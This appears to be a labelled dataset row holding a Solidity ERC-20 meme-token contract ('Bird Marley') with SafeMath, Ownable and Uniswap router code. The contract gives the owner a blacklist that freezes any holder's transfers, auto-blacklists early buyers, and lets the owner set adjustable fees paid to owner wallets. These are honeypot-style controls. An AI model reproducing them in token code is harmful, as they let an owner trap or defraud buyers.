require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BirdMarley is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address private marketingWallet;
address private devWallet;
uint256 private maxTransactionAmount;
uint256 private swapTokensAtAmount;
uint256 private maxWallet;
bool private limitsInEffect = true;
bool private tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 private buyTotalFees;
uint256 private buyMarketingFee;
uint256 private buyLiquidityFee;
uint256 private buyDevFee;
uint256 private sellTotalFees;
uint256 private sellMarketingFee;
uint256 private sellLiquidityFee;
uint256 private sellDevFee;
uint256 private earlySellLiquidityFee;
uint256 private earlySellMarketingFee;
uint256 private earlySellDevFee;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Bird Marley", "Marley") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 1;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 1;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 1;
uint256 _earlySellLiquidityFee = 0;
uint256 _earlySellMarketingFee = 5;
uint256 _earlySellDevFee = 5
; uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 20 / 1000; // 2% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function ManageBot (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 2) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 0;
sellMarketingFee = 1;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 0;
sellMarketingFee = 5;
sellDevFee = 5;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Send(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
